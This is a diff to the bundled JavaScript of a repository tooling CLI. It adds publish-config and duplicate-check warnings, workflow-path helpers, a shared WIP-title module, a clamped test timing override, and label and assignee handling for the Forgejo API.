|
10094
|
+
matched = {
|
|
10095
|
+
name: candidate,
|
|
10096
|
+
coveredBy: coveringName,
|
|
10097
|
+
fragment
|
|
10098
|
+
};
|
|
10099
|
+
break;
|
|
10100
|
+
}
|
|
10101
|
+
if (matched) break;
|
|
10102
|
+
}
|
|
10103
|
+
if (matched) entries.push(matched);
|
|
10104
|
+
}
|
|
10105
|
+
return entries;
|
|
10106
|
+
}
|
|
10107
|
+
/**
|
|
9885
10108
|
* Resolve coverage mode from the two coverage flags. `--coverage` is a tri-state: absent leaves the
|
|
9886
10109
|
* key unwritten (branch-aware `auto`), `--coverage` writes `true`, and citty's own `--no-` pre-pass
|
|
9887
10110
|
* writes `false` for `--no-coverage`. Declaring it with a `default:` would delete `auto`, and
|
|
@@ -9919,26 +10142,26 @@ function defaultGetScripts(targetDir) {
|
|
|
9919
10142
|
return /* @__PURE__ */ new Set();
|
|
9920
10143
|
}
|
|
9921
10144
|
}
|
|
9922
|
-
const rawLog = (msg) => console.log(msg);
|
|
10145
|
+
const rawLog$2 = (msg) => console.log(msg);
|
|
9923
10146
|
function advisorySummary(warned) {
|
|
9924
10147
|
return `All checks passed (${String(warned.length)} advisory: ${warned.map((w) => w.name).join(", ")})`;
|
|
9925
10148
|
}
|
|
9926
10149
|
const ciReporter = {
|
|
9927
|
-
groupStart: (name) => rawLog(`::group::${name}`),
|
|
9928
|
-
groupEnd: () => rawLog("::endgroup::"),
|
|
9929
|
-
passed: (name, elapsedS) => rawLog(`[ok] ${name} (${elapsedS}s)`),
|
|
10150
|
+
groupStart: (name) => rawLog$2(`::group::${name}`),
|
|
10151
|
+
groupEnd: () => rawLog$2("::endgroup::"),
|
|
10152
|
+
passed: (name, elapsedS) => rawLog$2(`[ok] ${name} (${elapsedS}s)`),
|
|
9930
10153
|
warned: (name, elapsedS, count) => {
|
|
9931
|
-
rawLog(`[warn] ${name} (${elapsedS}s): ${String(count)} advisory finding(s)`);
|
|
9932
|
-
rawLog(`::warning::${name}: ${String(count)} advisory finding(s)`);
|
|
10154
|
+
rawLog$2(`[warn] ${name} (${elapsedS}s): ${String(count)} advisory finding(s)`);
|
|
10155
|
+
rawLog$2(`::warning::${name}: ${String(count)} advisory finding(s)`);
|
|
9933
10156
|
},
|
|
9934
10157
|
failed: (name, elapsedS) => {
|
|
9935
|
-
rawLog(`[x] ${name} (${elapsedS}s)`);
|
|
9936
|
-
rawLog(`::error::${name} failed`);
|
|
10158
|
+
rawLog$2(`[x] ${name} (${elapsedS}s)`);
|
|
10159
|
+
rawLog$2(`::error::${name} failed`);
|
|
9937
10160
|
},
|
|
9938
|
-
undefinedCheck: (name) => rawLog(`::error::${name} not defined in package.json`),
|
|
9939
|
-
skippedNotDefined: (names) => rawLog(`Skipped (not defined): ${names.join(", ")}`),
|
|
9940
|
-
allPassed: (warned) => rawLog(warned.length === 0 ? "[ok] All checks passed" : `[ok] ${advisorySummary(warned)}`),
|
|
9941
|
-
anyFailed: (names) => rawLog(`::error::Failed checks: ${names.join(", ")}`)
|
|
10161
|
+
undefinedCheck: (name) => rawLog$2(`::error::${name} not defined in package.json`),
|
|
10162
|
+
skippedNotDefined: (names) => rawLog$2(`Skipped (not defined): ${names.join(", ")}`),
|
|
10163
|
+
allPassed: (warned) => rawLog$2(warned.length === 0 ? "[ok] All checks passed" : `[ok] ${advisorySummary(warned)}`),
|
|
10164
|
+
anyFailed: (names) => rawLog$2(`::error::Failed checks: ${names.join(", ")}`)
|
|
9942
10165
|
};
|
|
9943
10166
|
const localReporter = {
|
|
9944
10167
|
groupStart: (_name) => {},
|
|
@@ -9964,11 +10187,7 @@ async function runRunChecks(targetDir, options = {}) {
|
|
|
9964
10187
|
const vc = { verbose: options.verbose ?? false };
|
|
9965
10188
|
const definedScripts = getScripts(targetDir);
|
|
9966
10189
|
const addedNames = new Set(add);
|
|
9967
|
-
const
|
|
9968
|
-
const asciiEnabled = toolingConfig?.ascii?.enabled === true;
|
|
9969
|
-
let builtinChecks = CHECKS;
|
|
9970
|
-
if (asciiEnabled) builtinChecks = withAsciiCheck(builtinChecks);
|
|
9971
|
-
if (healthEnabled) builtinChecks = withHealthCheck(builtinChecks);
|
|
10190
|
+
const builtinChecks = resolveBuiltinChecks(toolingConfig);
|
|
9972
10191
|
const staleAdd = new Set(staleChecksAddNames(toolingConfig, add));
|
|
9973
10192
|
const allChecks = [...builtinChecks, ...add.filter((name) => !staleAdd.has(name)).map((name) => ({ name }))];
|
|
9974
10193
|
const failures = [];
|
|
@@ -10169,6 +10388,21 @@ function runComposeLintGate(targetDir, config) {
|
|
|
10169
10388
|
return issues.length;
|
|
10170
10389
|
}
|
|
10171
10390
|
/**
|
|
10391
|
+
* Require a declared publish destination before any generator or apply step runs.
|
|
10392
|
+
* Returns the number of offenders (0 = clean). Each is emitted via `log.error` so
|
|
10393
|
+
* the user sees the full message and the fix.
|
|
10394
|
+
*
|
|
10395
|
+
* Unlike {@link runReleaseTargetGate}, every mode fails on a non-zero count: an
|
|
10396
|
+
* undeclared destination is wrong in an interactive sync for the same reason it is
|
|
10397
|
+
* wrong in CI, and the repo publishes from both.
|
|
10398
|
+
*/
|
|
10399
|
+
function runPublishConfigGate(config, targetDir) {
|
|
10400
|
+
if (!config.publishNpm) return 0;
|
|
10401
|
+
const issues = lintPublishConfig(targetDir, config.structure);
|
|
10402
|
+
for (const issue of issues) log$1.error(issue.message);
|
|
10403
|
+
return issues.length;
|
|
10404
|
+
}
|
|
10405
|
+
/**
|
|
10172
10406
|
* Warn -- never block, in either mode -- when `checks.add` names a step this version ships as a
|
|
10173
10407
|
* built-in: `checks:run` silently deduplicates the collision at run time, so this warning is the
|
|
10174
10408
|
* only thing that ever tells the repo owner the entry is dead config. Advisory on the same terms
|
|
@@ -10180,8 +10414,36 @@ function warnStaleChecksAdd(config) {
|
|
|
10180
10414
|
if (stale.length === 0) return;
|
|
10181
10415
|
log$1.warn(`.tooling.json#checks.add names built-in step(s) checks:run already runs: ${stale.join(", ")}. The entries are deduplicated at run time and do nothing -- remove them.`);
|
|
10182
10416
|
}
|
|
10417
|
+
/**
|
|
10418
|
+
* Warn -- never block, in either mode -- when a `checks.add` entry's script is already invoked
|
|
10419
|
+
* INSIDE another pipeline step's script body (a chained `&&`), rather than colliding with a
|
|
10420
|
+
* built-in step's own name. `staleChecksAddNames` above cannot see this shape at all -- it
|
|
10421
|
+
* compares names, not script bodies -- so without this warning a repo can run the same script
|
|
10422
|
+
* twice on every `pnpm check` and nothing ever says so. Advisory on the same terms as
|
|
10423
|
+
* `warnStaleChecksAdd`: the match is a token-anchored substring test on script bodies, not a
|
|
10424
|
+
* shell parse, so it is a heuristic -- and silently dropping a gate on a heuristic is worse than
|
|
10425
|
+
* running it twice. Never consumed by `checks:run`; which steps run does not change.
|
|
10426
|
+
*/
|
|
10427
|
+
function warnCoveredChecksAdd(config, targetDir) {
|
|
10428
|
+
const covered = coveredChecksAddEntries(config, readPackageJson(targetDir)?.scripts ?? {});
|
|
10429
|
+
for (const entry of covered) log$1.warn(`.tooling.json#checks.add entry "${entry.name}" is already run by the "${entry.coveredBy}" step's script ("${entry.fragment}"), so every pipeline run executes it twice. Remove the add entry, or drop the inline invocation from the "${entry.coveredBy}" script.`);
|
|
10430
|
+
}
|
|
10431
|
+
//#endregion
|
|
10432
|
+
//#region src/utils/workflow-paths.ts
|
|
10433
|
+
/**
|
|
10434
|
+
* The single definition of "workflow dir", shared by `repo:sync --check`'s advisory
|
|
10435
|
+
* classification and the workflow sync sweep's path allowlist -- so the two halves cannot
|
|
10436
|
+
* disagree about what counts as workflow output. Each prefix carries its trailing slash so a
|
|
10437
|
+
* file named e.g. `.github/workflowsX` never matches.
|
|
10438
|
+
*/
|
|
10439
|
+
const WORKFLOW_DIR_PREFIXES = [".forgejo/workflows/", ".github/workflows/"];
|
|
10440
|
+
/** True when `filePath` (repo-relative) lives under one of the workflow directories. */
|
|
10441
|
+
function isWorkflowDirPath(filePath) {
|
|
10442
|
+
return WORKFLOW_DIR_PREFIXES.some((prefix) => filePath.startsWith(prefix));
|
|
10443
|
+
}
|
|
10183
10444
|
//#endregion
|
|
10184
10445
|
//#region src/commands/repo-sync.ts
|
|
10446
|
+
const rawLog$1 = (msg) => console.log(msg);
|
|
10185
10447
|
const syncCommand$1 = defineCommand({
|
|
10186
10448
|
meta: {
|
|
10187
10449
|
name: "repo:sync",
|
|
@@ -10238,6 +10500,10 @@ const syncCommand$1 = defineCommand({
|
|
|
10238
10500
|
}
|
|
10239
10501
|
const config = args.yes ? buildDefaultConfig(targetDir, flags) : await runInitPrompts(targetDir, void 0, { skipStackPrompt: args.prompt === false });
|
|
10240
10502
|
runReleaseTargetGate(config, targetDir);
|
|
10503
|
+
if (runPublishConfigGate(config, targetDir) > 0) {
|
|
10504
|
+
process.exitCode = 1;
|
|
10505
|
+
return;
|
|
10506
|
+
}
|
|
10241
10507
|
if (failedResults(await runInit(config, { noPrompt: args.prompt === false })).length > 0) process.exitCode = 1;
|
|
10242
10508
|
}
|
|
10243
10509
|
});
|
|
@@ -10254,12 +10520,17 @@ async function runUpdate(targetDir, flags = {}) {
|
|
|
10254
10520
|
return [];
|
|
10255
10521
|
}
|
|
10256
10522
|
warnStaleChecksAdd(saved);
|
|
10523
|
+
warnCoveredChecksAdd(saved, targetDir);
|
|
10257
10524
|
if (runComposeLintGate(targetDir, saved) > 0) {
|
|
10258
10525
|
process.exitCode = 1;
|
|
10259
10526
|
return [];
|
|
10260
10527
|
}
|
|
10261
10528
|
const config = mergeWithSavedConfig(buildDefaultConfig(targetDir, flags), saved);
|
|
10262
10529
|
runReleaseTargetGate(config, targetDir);
|
|
10530
|
+
if (runPublishConfigGate(config, targetDir) > 0) {
|
|
10531
|
+
process.exitCode = 1;
|
|
10532
|
+
return [];
|
|
10533
|
+
}
|
|
10263
10534
|
return runInit(config, {
|
|
10264
10535
|
noPrompt: true,
|
|
10265
10536
|
confirmOverwrite: async () => "overwrite"
|
|
@@ -10268,11 +10539,15 @@ async function runUpdate(targetDir, flags = {}) {
|
|
|
10268
10539
|
/** Run sync in check mode: dry-run drift detection. */
|
|
10269
10540
|
async function runCheck(targetDir) {
|
|
10270
10541
|
const saved = loadToolingConfigStrict(targetDir);
|
|
10271
|
-
if (saved)
|
|
10542
|
+
if (saved) {
|
|
10543
|
+
warnStaleChecksAdd(saved);
|
|
10544
|
+
warnCoveredChecksAdd(saved, targetDir);
|
|
10545
|
+
}
|
|
10272
10546
|
if (runComposeLintGate(targetDir, saved) > 0) return 1;
|
|
10273
10547
|
const detected = buildDefaultConfig(targetDir, {});
|
|
10274
10548
|
const config = saved ? mergeWithSavedConfig(detected, saved) : detected;
|
|
10275
10549
|
if (runReleaseTargetGate(config, targetDir)) return 1;
|
|
10550
|
+
if (runPublishConfigGate(config, targetDir) > 0) return 1;
|
|
10276
10551
|
const { ctx, pendingWrites } = createDryRunContext(config);
|
|
10277
10552
|
logDetectionSummary(ctx);
|
|
10278
10553
|
const results = await runGenerators(ctx);
|
|
@@ -10295,20 +10570,10 @@ async function runCheck(targetDir) {
|
|
|
10295
10570
|
}
|
|
10296
10571
|
if (actionable.length === 0) return 1;
|
|
10297
10572
|
log$1.warn(`${actionable.length} file(s) would be changed by repo:sync`);
|
|
10298
|
-
for (const r of actionable)
|
|
10299
|
-
|
|
10300
|
-
|
|
10301
|
-
|
|
10302
|
-
const existingPath = path.join(targetDir, r.filePath);
|
|
10303
|
-
const existing = existsSync(existingPath) ? readFileSync(existingPath, "utf-8") : void 0;
|
|
10304
|
-
if (isBundledFile(r.filePath)) log$1.info(` bundled file changed (${formatBytes(existing?.length ?? 0)} -> ${formatBytes(newContent.length)})`);
|
|
10305
|
-
else if (!existing) {
|
|
10306
|
-
const lineCount = newContent.split("\n").length - 1;
|
|
10307
|
-
log$1.info(` + ${lineCount} new lines`);
|
|
10308
|
-
} else {
|
|
10309
|
-
const diff = lineDiff(existing, newContent);
|
|
10310
|
-
for (const line of diff) log$1.info(` ${line}`);
|
|
10311
|
-
}
|
|
10573
|
+
for (const r of actionable) logActionableChange(r, targetDir, pendingWrites);
|
|
10574
|
+
if (failed.length === 0 && actionable.every((r) => isWorkflowDirPath(r.filePath))) {
|
|
10575
|
+
rawLog$1(formatWarnMarker(actionable.length));
|
|
10576
|
+
return 0;
|
|
10312
10577
|
}
|
|
10313
10578
|
return 1;
|
|
10314
10579
|
}
|
|
@@ -10316,6 +10581,24 @@ async function runCheck(targetDir) {
|
|
|
10316
10581
|
function isBundledFile(filePath) {
|
|
10317
10582
|
return filePath.endsWith("bst-hook.mjs");
|
|
10318
10583
|
}
|
|
10584
|
+
/** Logs one `runCheck` actionable result's action line plus its diff detail (or a bundled-file
|
|
10585
|
+
* byte-size summary, or a new-file line count) -- extracted out of `runCheck`'s reporting loop to
|
|
10586
|
+
* keep that function under the lint's statement budget. */
|
|
10587
|
+
function logActionableChange(r, targetDir, pendingWrites) {
|
|
10588
|
+
log$1.info(` ${r.action}: ${r.filePath} -- ${r.description}`);
|
|
10589
|
+
const newContent = pendingWrites.get(r.filePath);
|
|
10590
|
+
if (newContent === void 0) return;
|
|
10591
|
+
const existingPath = path.join(targetDir, r.filePath);
|
|
10592
|
+
const existing = existsSync(existingPath) ? readFileSync(existingPath, "utf-8") : void 0;
|
|
10593
|
+
if (isBundledFile(r.filePath)) log$1.info(` bundled file changed (${formatBytes(existing?.length ?? 0)} -> ${formatBytes(newContent.length)})`);
|
|
10594
|
+
else if (!existing) {
|
|
10595
|
+
const lineCount = newContent.split("\n").length - 1;
|
|
10596
|
+
log$1.info(` + ${lineCount} new lines`);
|
|
10597
|
+
} else {
|
|
10598
|
+
const diff = lineDiff(existing, newContent);
|
|
10599
|
+
for (const line of diff) log$1.info(` ${line}`);
|
|
10600
|
+
}
|
|
10601
|
+
}
|
|
10319
10602
|
function formatBytes(bytes) {
|
|
10320
10603
|
if (bytes < 1024) return `${String(bytes)} B`;
|
|
10321
10604
|
return `${(bytes / 1024).toFixed(1)} kB`;
|
|
@@ -10829,6 +11112,42 @@ function buildGitAuth(coords) {
|
|
|
10829
11112
|
};
|
|
10830
11113
|
}
|
|
10831
11114
|
//#endregion
|
|
11115
|
+
//#region ../forgejo/src/pr-title.ts
|
|
11116
|
+
/**
|
|
11117
|
+
* The two WIP title spellings a Forgejo draft carries, and the predicates built on them. Its own
|
|
11118
|
+
* leaf so both `pr.ts` (the draft/undraft PATCHes) and the agent board's untriggered-PR filter
|
|
11119
|
+
* (`@bensandee/agent`'s `board.ts`) can import one definition instead of drifting apart -- `pr.ts`
|
|
11120
|
+
* sits at its recorded `fanInOutliers` ceiling in `health-baseline.json` (23, no headroom), so a
|
|
11121
|
+
* new importer there is a hard `health:check` failure, and CLAUDE.md's codebase-health rule is to
|
|
11122
|
+
* split the module rather than fork the helper to dodge that.
|
|
11123
|
+
*
|
|
11124
|
+
* An instance that configures a *different* prefix set is out of reach of any static list; that
|
|
11125
|
+
* case is caught by `undraftForgejoPr`'s draft-but-unrecognized guard rather than papered over
|
|
11126
|
+
* here.
|
|
11127
|
+
*/
|
|
11128
|
+
const WIP_PREFIXES = ["WIP:", "[WIP]"];
|
|
11129
|
+
/** Whether a title carries one of {@link WIP_PREFIXES}, checked case-insensitively against the
|
|
11130
|
+
* title exactly as given, with no trim. */
|
|
11131
|
+
function hasWipPrefix(title) {
|
|
11132
|
+
return matchedWipPrefix(title) !== void 0;
|
|
11133
|
+
}
|
|
11134
|
+
function matchedWipPrefix(title) {
|
|
11135
|
+
const lower = title.toLowerCase();
|
|
11136
|
+
return WIP_PREFIXES.find((prefix) => lower.startsWith(prefix.toLowerCase()));
|
|
11137
|
+
}
|
|
11138
|
+
/**
|
|
11139
|
+
* Strip a single leading WIP marker off a PR title and return the rest, or the input unchanged
|
|
11140
|
+
* when there is no such prefix. Idempotent -- stripping a non-WIP title, or a title already
|
|
11141
|
+
* stripped, is a no-op. A superset of the exact inverse of the `WIP: ` prepend
|
|
11142
|
+
* `derivePrContent` (`tooling-cli/src/release/pull-request.ts`) writes: it also clears the
|
|
11143
|
+
* hand-typed variants Forgejo itself honours (see {@link WIP_PREFIXES}).
|
|
11144
|
+
*/
|
|
11145
|
+
function stripWipPrefix(title) {
|
|
11146
|
+
const prefix = matchedWipPrefix(title);
|
|
11147
|
+
if (prefix === void 0) return title;
|
|
11148
|
+
return title.slice(prefix.length).trimStart();
|
|
11149
|
+
}
|
|
11150
|
+
//#endregion
|
|
10832
11151
|
//#region ../forgejo/src/pr.ts
|
|
10833
11152
|
const CreatedPrSchema = z.object({
|
|
10834
11153
|
number: z.number(),
|
|
@@ -11114,47 +11433,6 @@ z.object({
|
|
|
11114
11433
|
draft: z.boolean()
|
|
11115
11434
|
});
|
|
11116
11435
|
/**
|
|
11117
|
-
* Forgejo's default `WORK_IN_PROGRESS_PREFIXES` (`[repository.pull-request]`), which it matches
|
|
11118
|
-
* **case-insensitively**. Both entries are listed, and matching mirrors Forgejo's own casing rule,
|
|
11119
|
-
* because the title we strip is not necessarily the title we wrote: a human retitling a draft PR
|
|
11120
|
-
* by hand is far likelier to type `[WIP]` or `wip:` than to reproduce the bot's exact `WIP: `.
|
|
11121
|
-
* Matching only our own spelling would leave those PRs drafts while reporting success -- which is
|
|
11122
|
-
* the whole failure this un-draft exists to prevent.
|
|
11123
|
-
*
|
|
11124
|
-
* An instance that configures a *different* prefix set is out of reach of any static list; that
|
|
11125
|
-
* case is caught by {@link undraftForgejoPr}'s draft-but-unrecognized guard rather than papered
|
|
11126
|
-
* over here.
|
|
11127
|
-
*/
|
|
11128
|
-
const WIP_PREFIXES = ["WIP:", "[WIP]"];
|
|
11129
|
-
/**
|
|
11130
|
-
* Whether a title carries one of {@link WIP_PREFIXES}. Exported so `derivePrContent`
|
|
11131
|
-
* ("../pull-request.ts") can gate its `WIP: ` prepend on the same predicate this module strips
|
|
11132
|
-
* with -- one definition, so the adder and the remover cannot drift apart. (The dependency runs
|
|
11133
|
-
* this way round because `pull-request.ts` already imports this module; putting the shared
|
|
11134
|
-
* spelling there instead would make this module import back into it and form a cycle.)
|
|
11135
|
-
*/
|
|
11136
|
-
function hasWipPrefix(title) {
|
|
11137
|
-
return matchedWipPrefix(title) !== void 0;
|
|
11138
|
-
}
|
|
11139
|
-
function matchedWipPrefix(title) {
|
|
11140
|
-
const lower = title.toLowerCase();
|
|
11141
|
-
return WIP_PREFIXES.find((prefix) => lower.startsWith(prefix.toLowerCase()));
|
|
11142
|
-
}
|
|
11143
|
-
/**
|
|
11144
|
-
* Strip a single leading WIP marker off a PR title and return the rest, or the input unchanged
|
|
11145
|
-
* when there is no such prefix. Idempotent -- stripping a non-WIP title, or a title already
|
|
11146
|
-
* stripped, is a no-op. A superset of the exact inverse of the `WIP: ` prepend `derivePrContent`
|
|
11147
|
-
* ("../pull-request.ts") writes: it also clears the hand-typed variants Forgejo itself honours
|
|
11148
|
-
* (see {@link WIP_PREFIXES}). It lives here, next to its only runtime user
|
|
11149
|
-
* {@link undraftForgejoPr}, because the WIP prefix is a Forgejo draft convention (GitHub signals
|
|
11150
|
-
* draft with `--draft`).
|
|
11151
|
-
*/
|
|
11152
|
-
function stripWipPrefix(title) {
|
|
11153
|
-
const prefix = matchedWipPrefix(title);
|
|
11154
|
-
if (prefix === void 0) return title;
|
|
11155
|
-
return title.slice(prefix.length).trimStart();
|
|
11156
|
-
}
|
|
11157
|
-
/**
|
|
11158
11436
|
* Update an existing pull request's title and/or body. A field left out of `options` is left out
|
|
11159
11437
|
* of the PATCH -- `JSON.stringify` drops an `undefined` value, so an omitted field never reaches
|
|
11160
11438
|
* the forge as an explicit null that would blank the authored text. An `options` with neither
|
|
@@ -11645,6 +11923,22 @@ function sleep(ms) {
|
|
|
11645
11923
|
setTimeout(resolve, ms);
|
|
11646
11924
|
});
|
|
11647
11925
|
}
|
|
11926
|
+
/**
|
|
11927
|
+
* Parses `raw` as a millisecond duration to override `productionMs`, for the handful of
|
|
11928
|
+
* production timing seams a spawned-child liveness test needs to run at a short interval instead
|
|
11929
|
+
* of the real one. The caller reads its own `BST_TEST_*` env var with a literal key and passes the
|
|
11930
|
+
* result in, so this never touches `process.env` itself. Unset, empty, zero, negative, fractional,
|
|
11931
|
+
* and unparseable values all fall back to `productionMs`, silently and without throwing; a value
|
|
11932
|
+
* larger than `productionMs` clamps to it. This read sits on a release command's production path,
|
|
11933
|
+
* and a stray variable must at worst shorten a wait, never lengthen one or add a failure mode.
|
|
11934
|
+
* Nothing in production sets or forwards a `BST_TEST_*` variable.
|
|
11935
|
+
*/
|
|
11936
|
+
function envMsOverride(raw, productionMs) {
|
|
11937
|
+
if (raw === void 0) return productionMs;
|
|
11938
|
+
const parsed = Number(raw.trim());
|
|
11939
|
+
if (!Number.isSafeInteger(parsed) || parsed <= 0) return productionMs;
|
|
11940
|
+
return Math.min(parsed, productionMs);
|
|
11941
|
+
}
|
|
11648
11942
|
//#endregion
|
|
11649
11943
|
//#region src/release/git-identity.ts
|
|
11650
11944
|
/** Resolve the CI bot actor name for the given platform. */
|
|
@@ -12062,6 +12356,7 @@ const TRAILING_EVENT = / \([^()]+\)$/;
|
|
|
12062
12356
|
function classifyVerdict(state) {
|
|
12063
12357
|
if (state === "success") return "good";
|
|
12064
12358
|
if (state === "pending") return "pending";
|
|
12359
|
+
if (state === "skipped" || state === "neutral") return "skipped";
|
|
12065
12360
|
return "red";
|
|
12066
12361
|
}
|
|
12067
12362
|
function entryKey(entry, index) {
|
|
@@ -12207,7 +12502,8 @@ const MergeGateSchema = z.object({
|
|
|
12207
12502
|
head: z.object({ sha: z.string() }),
|
|
12208
12503
|
merge_base: z.string(),
|
|
12209
12504
|
changed_files: z.number().nullish(),
|
|
12210
|
-
base: z.object({ ref: z.string() })
|
|
12505
|
+
base: z.object({ ref: z.string() }),
|
|
12506
|
+
labels: z.array(z.object({ name: z.string() })).nullable()
|
|
12211
12507
|
});
|
|
12212
12508
|
/**
|
|
12213
12509
|
* Read a PR's live open/draft/mergeable state and current head SHA in one `/pulls/<n>` GET --
|
|
@@ -12231,7 +12527,8 @@ async function readMergeGate(executor, conn, prNumber) {
|
|
|
12231
12527
|
headSha: parsed.data.head.sha,
|
|
12232
12528
|
mergeBase: parsed.data.merge_base,
|
|
12233
12529
|
changedFiles: parsed.data.changed_files ?? null,
|
|
12234
|
-
baseRef: parsed.data.base.ref
|
|
12530
|
+
baseRef: parsed.data.base.ref,
|
|
12531
|
+
labels: (parsed.data.labels ?? []).map((label) => label.name)
|
|
12235
12532
|
};
|
|
12236
12533
|
}
|
|
12237
12534
|
z.object({
|
|
@@ -12320,7 +12617,9 @@ function headShaOrThrow(verdict) {
|
|
|
12320
12617
|
/** How long the confirming read waits after a first `unconfirmed` reading, matching the agent's
|
|
12321
12618
|
* own consecutive-observations rule (`MAX_CONFLICT_OBSERVATIONS = 2` in
|
|
12322
12619
|
* `packages/agent/src/landing-merge.ts`) so both callers answer "is this really a conflict?" the
|
|
12323
|
-
* same way: two observations total, not one and not three.
|
|
12620
|
+
* same way: two observations total, not one and not three. Every production process waits exactly
|
|
12621
|
+
* this long; a test-only env seam lets a spawned-child test run this same code at a short
|
|
12622
|
+
* duration instead. */
|
|
12324
12623
|
const RECHECK_DELAY_MS = 2e3;
|
|
12325
12624
|
function stateFromGate(prNumber, gate, mergeable, mergeabilityEvidence) {
|
|
12326
12625
|
return {
|
|
@@ -12343,14 +12642,14 @@ function mergeabilityFromFirstRead(mergeable) {
|
|
|
12343
12642
|
/** A confirming Forgejo read: `true` settles mergeable; `false` at the same head and merge base as
|
|
12344
12643
|
* the first read settles conflicted; `false` at a moved head or merge base is not a confirmation
|
|
12345
12644
|
* of anything -- the two reads are of two different trees, so it is a fresh unconfirmed reading. */
|
|
12346
|
-
function evaluateConfirmingRead(second, first) {
|
|
12645
|
+
function evaluateConfirmingRead(second, first, delayMs) {
|
|
12347
12646
|
if (second.mergeable) return {
|
|
12348
12647
|
mergeable: "mergeable",
|
|
12349
12648
|
evidence: void 0
|
|
12350
12649
|
};
|
|
12351
12650
|
if (second.headSha === first.headSha && second.mergeBase === first.mergeBase) return {
|
|
12352
12651
|
mergeable: "conflicted",
|
|
12353
|
-
evidence: `The forge reported it unmergeable on two reads ${String(
|
|
12652
|
+
evidence: `The forge reported it unmergeable on two reads ${String(delayMs)}ms apart, at head ${second.headSha}.`
|
|
12354
12653
|
};
|
|
12355
12654
|
if (second.headSha !== first.headSha) return {
|
|
12356
12655
|
mergeable: "unconfirmed",
|
|
@@ -12365,15 +12664,16 @@ async function mergeVersionPrForgejo(executor, conn, options) {
|
|
|
12365
12664
|
const prNumber = await findOpenPr(executor, conn, HEAD_BRANCH);
|
|
12366
12665
|
if (prNumber === null) throw new FatalError(`No open PR found for branch ${HEAD_BRANCH}`);
|
|
12367
12666
|
const sleep$1 = options.sleep ?? sleep;
|
|
12667
|
+
const recheckDelayMs = envMsOverride(process.env["BST_TEST_VERSION_MERGE_RECHECK_MS"], RECHECK_DELAY_MS);
|
|
12368
12668
|
const firstGate = await readMergeGate(executor, conn, prNumber);
|
|
12369
12669
|
logGateRead(prNumber, firstGate);
|
|
12370
12670
|
let verdict = evaluateVersionPr(stateFromGate(prNumber, firstGate, mergeabilityFromFirstRead(firstGate.mergeable)));
|
|
12371
12671
|
if (needsRecheck(verdict)) {
|
|
12372
|
-
log$1.info(`changesets:merge: PR #${String(prNumber)}'s mergeability is not confirmed yet -- re-reading after ${String(
|
|
12373
|
-
await sleep$1(
|
|
12672
|
+
log$1.info(`changesets:merge: PR #${String(prNumber)}'s mergeability is not confirmed yet -- re-reading after ${String(recheckDelayMs)}ms`);
|
|
12673
|
+
await sleep$1(recheckDelayMs);
|
|
12374
12674
|
const secondGate = await readMergeGate(executor, conn, prNumber);
|
|
12375
12675
|
logGateRead(prNumber, secondGate);
|
|
12376
|
-
const confirming = evaluateConfirmingRead(secondGate, firstGate);
|
|
12676
|
+
const confirming = evaluateConfirmingRead(secondGate, firstGate, recheckDelayMs);
|
|
12377
12677
|
verdict = evaluateVersionPr(stateFromGate(prNumber, secondGate, confirming.mergeable, confirming.evidence));
|
|
12378
12678
|
}
|
|
12379
12679
|
const headSha = headShaOrThrow(verdict);
|
|
@@ -13741,7 +14041,7 @@ async function ensureForgejoLabels(executor, conn, specs) {
|
|
|
13741
14041
|
return labelIds;
|
|
13742
14042
|
}
|
|
13743
14043
|
/**
|
|
13744
|
-
* Delete a repository label definition by id -- the write half of `--prune
|
|
14044
|
+
* Delete a repository label definition by id -- the write half of `--prune`: a label the
|
|
13745
14045
|
* caller has already determined no longer belongs to a set's declared universe. Idempotent, like
|
|
13746
14046
|
* `removeForgejoIssueLabel`: Forgejo returns 204 whether or not the label still exists, so a
|
|
13747
14047
|
* retry after a transient blip is safe.
|
|
@@ -13772,6 +14072,7 @@ const IssueResponseSchema = z.object({
|
|
|
13772
14072
|
body: z.string().nullish(),
|
|
13773
14073
|
user: z.object({ login: z.string() }).nullish(),
|
|
13774
14074
|
labels: z.array(z.object({ name: z.string() })).nullish(),
|
|
14075
|
+
assignees: z.array(z.object({ login: z.string() })).nullish(),
|
|
13775
14076
|
created_at: z.string(),
|
|
13776
14077
|
updated_at: z.string(),
|
|
13777
14078
|
closed_at: z.string().nullish(),
|
|
@@ -13807,7 +14108,8 @@ function normalizeIssue(raw) {
|
|
|
13807
14108
|
closedAt: raw.closed_at ?? null,
|
|
13808
14109
|
body: raw.body ?? "",
|
|
13809
14110
|
isPullRequest: raw.pull_request !== null && raw.pull_request !== void 0,
|
|
13810
|
-
attachments: (raw.assets ?? []).map(normalizeAttachment)
|
|
14111
|
+
attachments: (raw.assets ?? []).map(normalizeAttachment),
|
|
14112
|
+
assignees: (raw.assignees ?? []).map((assignee) => assignee.login)
|
|
13811
14113
|
};
|
|
13812
14114
|
}
|
|
13813
14115
|
/**
|
|
@@ -13924,13 +14226,11 @@ async function createForgejoIssue(executor, conn, input) {
|
|
|
13924
14226
|
else labels.push(id);
|
|
13925
14227
|
}
|
|
13926
14228
|
if (missing.length > 0) labels.push(...await resolveLabelIds(executor, conn, missing));
|
|
13927
|
-
const payload =
|
|
14229
|
+
const payload = {
|
|
13928
14230
|
title: input.title,
|
|
13929
14231
|
body: input.body,
|
|
13930
|
-
labels
|
|
13931
|
-
|
|
13932
|
-
title: input.title,
|
|
13933
|
-
body: input.body
|
|
14232
|
+
...labels.length > 0 ? { labels } : {},
|
|
14233
|
+
...input.assignees !== void 0 && input.assignees.length > 0 ? { assignees: input.assignees } : {}
|
|
13934
14234
|
};
|
|
13935
14235
|
const res = await executor.fetch(issuesBase(conn), {
|
|
13936
14236
|
method: "POST",
|
|
@@ -14091,7 +14391,7 @@ async function ghJson(parse, executor, cwd, args, options) {
|
|
|
14091
14391
|
const detail = result.stderr || result.stdout;
|
|
14092
14392
|
if (/HTTP 404/.test(detail)) throw new ForgeAccessError(notFoundMessage);
|
|
14093
14393
|
if (/HTTP 40[13]/.test(detail)) throw new ForgeAccessError(`GitHub rejected the credentials for "gh ${args.join(" ")}": ${detail}. Check the token's validity and scopes.`);
|
|
14094
|
-
if (/HTTP 422/.test(detail)) throw new FatalError(`GitHub rejected the request payload for "gh ${args.join(" ")}" as invalid (422): ${detail}. Retrying with the same input cannot succeed (e.g. a nonexistent label).`);
|
|
14394
|
+
if (/HTTP 422/.test(detail)) throw new FatalError(`GitHub rejected the request payload for "gh ${args.join(" ")}" as invalid (422): ${detail}. Retrying with the same input cannot succeed (e.g. a nonexistent label or an assignee the repository will not accept).`);
|
|
14095
14395
|
